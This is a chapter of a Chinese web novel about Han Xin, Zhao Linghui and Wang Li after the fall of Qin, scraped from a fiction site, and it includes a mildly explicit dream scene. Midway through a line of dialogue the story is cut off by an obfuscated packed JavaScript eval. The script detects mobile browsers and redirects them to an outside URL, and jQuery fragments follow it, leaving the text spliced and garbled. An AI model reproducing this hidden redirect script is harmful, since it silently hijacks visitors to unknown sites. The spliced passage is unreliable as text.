默认冷灰
24号文字
方正启体

19. 风雨飘摇

作者:忆君清泪本书字数:K更新时间:
    “就……如此吗?”王离不可置信章邯的死这么简单,巨鹿之战他都挺过去了,怎么会……


    章邯于他有恩,他不能不追究。


    “我何必骗你呢?”韩信摇摇头,“章邯同我讲了他的经验,随后就要求我给他一把剑,他要自刎。”


    王离身子前倾,抓住了韩信的袖子:“你没拦他吗?”


    “我没有立场拦。”韩信将袖子一点点从他手里扯出来,“亡国之将,灭国之军,英雄末路,对他来说,死,比活着好受。他说,他的剑跟了他几十年,四处征战,先为秦廷,后为自己,他不想叫它染上自己的血。这把剑,我一直留着,章邯和将军,算得上是故交,我把这剑交给将军你,也算得上圆满了。”


    放在案几一侧的长木盒被打开,露出里面的一把剑。


    剑是青铜剑,不算特别,但是是秦剑。


    秦将每人都有一把这样的剑,王离同样也有一把。


    可惜的是,那把剑早已在巨鹿之战中不知道丢到哪里去了。


    剑未出鞘,已经能让人感受到凛凛寒气,看得出饮血十足。


    王离颓然地坐在那,仿佛失去了所有的力气,抬不起手去碰它。


    “不过活着,比死幸运,活着可以改变很多事情,但是人命只一条,死了,就什么都没有了。”韩信叹息,手指缓缓摩挲着剑柄上的纹路,“章邯将军身为一方诸侯,这是他不得已的选择。但是王离你不一样,你有选择。”


    前世死后,他亲眼看着匈奴马踏大汉的疆土,看着白登之围无人破解,看着朝堂之上风起云涌,看着令徽夙兴夜寐白了头,看着令徽被人刺杀。


    他看着一切,见证一切,一缕幽魂,漂泊天地间,什么也做不了。


    任他哭笑,任他诉说,什么也改变不了。


    倘若活着,是不是一切都会不一样?


    韩信握紧了手中的剑柄,将它捧了起来,递给王离:“我无权干涉章将军的生死,但是汉军畏罪自杀,是要连累同袍的。你有这个功夫,不如想一想,活着,除了为你的祖父,你那如东流水逝去的家族荣耀,还能为着什么?”


    .


    破屋里,衣衫散落一地,男女的衣衫三三两两堆积在一起。


    屋子虽旧,却到处是干干净净的。


    雨声越来越大,可若仔细听去,还能听到叫人脸红的水声。


    淅淅沥沥,打在赵令徽的心上。


    “唔……好疼……”


    “令徽,令徽,你看看我……”


    听到呢喃,赵令徽缓缓睁开眼,对上那双眼尾带红的丹凤眼。


    疼的人明明是她,怎么眼角红的人倒成了他?


    胳膊从身侧滑落,赵令徽浑身无力,任由他折腾。


    “对不起。”韩信在她眼角落下一吻。


    不带任何情欲的、满是虔诚和安抚的吻。


    “这个时候说这个,你也忒煞风景了。”赵令徽嗤笑,提起力气抬手,一点点抚过他的脸颊。


    很烫,比她好不了多少。


    少年的皮肤很糙,许是因为多年风霜,不曾吃过几顿热饭。


    她离开淮阴不过一年,他们未见不过一年,他何时变得这样小心翼翼的呢?


    这叫她想起来他们初遇之时。


    印象中,他可一直是明媚开朗,总是笑嘻嘻的,问她要不要吃果子。


    唯有幼时,他们初见之时,他和他阿娘,从别地搬到淮阴来,他隔着墙,小心翼翼地看着她,问她要不要吃他阿娘烙的饼。


    她当时怎么回答的来着?


    “令徽,你走神了。”和提醒一起的,是身/下的用力。


    “嘶……”赵令徽被拉回来,再次进入到这场沉沦之中,“你……阿信、阿信唔……慢、慢些……啊……”


    .


    倏地睁开眼,赵令徽心仍怦怦跳着。


    手抚上胸口,怎么也静不下来。


    赵令徽干脆翻身起来,坐了一会,心跳才慢慢缓和。


    她真是疯魔了,好端端的,怎么就梦到了他们在淮阴的那夜风雨?


    要加上前世,这可都过去将近二十多年了。


    莫不是许久未碰男人,才有这样荒唐的梦?


    乱想了一通,赵令徽下榻收拾出营帐,今日她有要事:张耳来投奔汉王,她得去迎接。


    张耳原是常山王,和陈馀交好,说的上是刎颈之交。


    二人少年时做过游侠,养过门客,刘邦曾在他手下吃喝。


    后来他名声渐大,始皇震怒,下令追捕于他,这才树倒猢狲散。


    陈胜吴广在大泽乡起义,他们投奔陈胜吴广,陈胜吴广式微,又奔了赵王。


    李良杀了赵王,两人立了新赵王。


    巨鹿之战,张耳被王离包围,陈馀见死不救。


    项羽生擒王离,断了章邯粮草,章邯内外交困,这才投降。


    张耳陈馀互相怨怼,昔日好友反目成仇。


    项羽分封天下诸侯,张耳被封常山王,陈馀却只得封侯,不甘久居故人之下,再立赵王,联合齐王攻打张耳。


    张耳不敌,故而投奔汉王而来。


    说起来,张耳也算的上是刘邦昔日的恩人,因此上多加看重,命她来迎,诸将相陪。


    远远地,就见一队打着“张”字旗的人马,赵令徽翻身下马,那队人马已到眼前。


    赵令徽抱拳施礼:“汉军司马代汉王迎张将军!”


    一双黑靴在她眼前停下,扶起他:“司马不必多礼,张耳惭愧。”


    赵令徽抬头,见一男子,身高约七尺,知天命上下,嘴唇饱满,生的双龙眼,身披铠甲,满面风霜。


    “汉军已经温好酒,备好菜,待将军享用,汉王在营中静候,为将军接风洗尘,将军请——”赵令徽和他并肩而走。


    张耳迈步:“汉王待我,情深义重,张耳受之有愧呐。”


    “张将军不必惭愧,将军肯卖汉王个面子,汉王已是欢喜不尽,更何况,将军带了大军来,对汉王来说,如虎添翼。”


    汉王特意派她的原因之一是,张耳和王离曾经有仇怨,巨鹿若不是王离给他困住他也不会和陈馀反目。


    张耳和王离两个人脾气都算不上好的,眼下王离又在汉王帐下,免不了一番冲突。


    汉王的意思呢,是叫她先提点提点张耳,免得俩人一遇上就掐起来。


    “王离,为张将军牵马。”赵令徽唤过王离来。


    昨日她就先好言好语地劝了王离,让他今日为张耳牵马。


    王离虽然依言牵马,脸却紧绷着。


    果不其然,张耳脸色唰地就黑了:“赵司马来的晚,可能不知道我和王离,水火不容。”


    王离猛地抬头,咬着嘴唇,就要说什么,被赵令徽瞪了一眼,老实牵马去了。


    “张将军,请吧——”赵令徽侧身让开,似笑非笑,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309527|166937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将军莫不是要怪罪我,擅作主张,叫曾经的秦将给您牵马?还是说,将军嫌弃中尉不配给您牵马?若是将军不愿意,我亲自为将军牵马。”


    似笑非笑,眼含赤诚,对于张耳这样直性子、做过侠客的人来说,就要跟对汉王一样,把事情剖开了跟他说。


    秦将给他牵马,这秦将还是王翦的孙子,怎么来说,都不算折辱于他。


    况且,王离现在是汉军的中尉,叫中尉来牵马,已是足够敬重。


    张耳脸色脸色稍缓,为自己的莽撞后悔:“司马说的哪里话,我只是……一时口出狂言,望司马莫要计较。”


    王离已经先低了头,都在汉王帐下,他也不好再多说难听的。


    “如此甚好,将军,前面就是汉王的营帐了,待我进去为您通报。”赵令徽温和地笑着,让人怒气都无处发泄。


    汉王正踱步等着赵令徽回来,忙招手:“你来的正好,事情办的如何?”


    “回大王,张耳将军和王离已经冰释前嫌,张将军并无异议,正于帐外恭候。”赵令徽躬身回答。


    “做的很好,下去吧。”刘邦大喜,亲迎张耳。


    往后便是宴饮接风,不消多说。


    整个宴会上,不见王离,赵令徽心中一紧。


    冯珥察觉她表情不对,悄悄挪到她身旁,问她发生了何事。


    “中尉。”赵令徽只吐出来两个字,冯珥就明白发生了什么。


    “司马放心去,这里一切有我。”冯珥微微一笑,“大王若是问起来,我替司马担着。”


    赵令徽回之一笑,放心地出了营帐,去寻王离。


    按着王离的性子,赵令徽找了几个地方,在河边寻到了他。


    “想什么呢。”赵令徽递了个桃子给他,“尝尝,再不吃,过几天就吃不到桃子了。”


    王离接过桃子:“谢谢。”


    “今日之事,委屈你了。”赵令徽撩起衣裙,朝他跪下去,“我向你陪个不是。”


    王离大惊,吓得从河边跳起来,桃子落到河里头,手足无措地去扶赵令徽:“司马这是做什么!?”


    赵令徽:“我知道,你今天心里也不痛快。你顾及我的面子,没当场跟张耳打起来,我该谢谢你。”


    “司马……”王离嗫嚅着,欲言又止。


    本来他心里头是有郁郁之气地,而今散的一干二净。


    “私下里,叫我令徽就好。”赵令徽从怀里摸出来两个桃子,给他一个,自己拿了一个,胡乱抹去灰,“他们都这么叫我。”


    “嗯。”


    “说说吧。”


    “什么?”


    “你的家族,你的荣耀。从前的大秦、嬴政、你的祖父王翦,你的母亲,秦国的商人,姬恪,还有你的父亲,王贲。你不是一直惦记这些么?说出来就好了。”


    “你怎么知道?”


    “这是什么稀奇事吗?”


    赵令徽对他的母亲,那位不为人所知的秦国公主很感兴趣。


    他们说了很多,说的河水湍流,日落西山,仍意犹未尽。


    “原来这就是你一直念念不忘的。”赵令徽长叹一声,“难怪你念念不忘,要换做是我,我也念念不忘。”


    “司马你呢?你的从前。”


    赵令徽嗤笑一声:“我啊,我也有从前,我从前过的很好,但那只是从前。人得向前看,我不能活在从前,人要活在当下,而不是过去、未来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)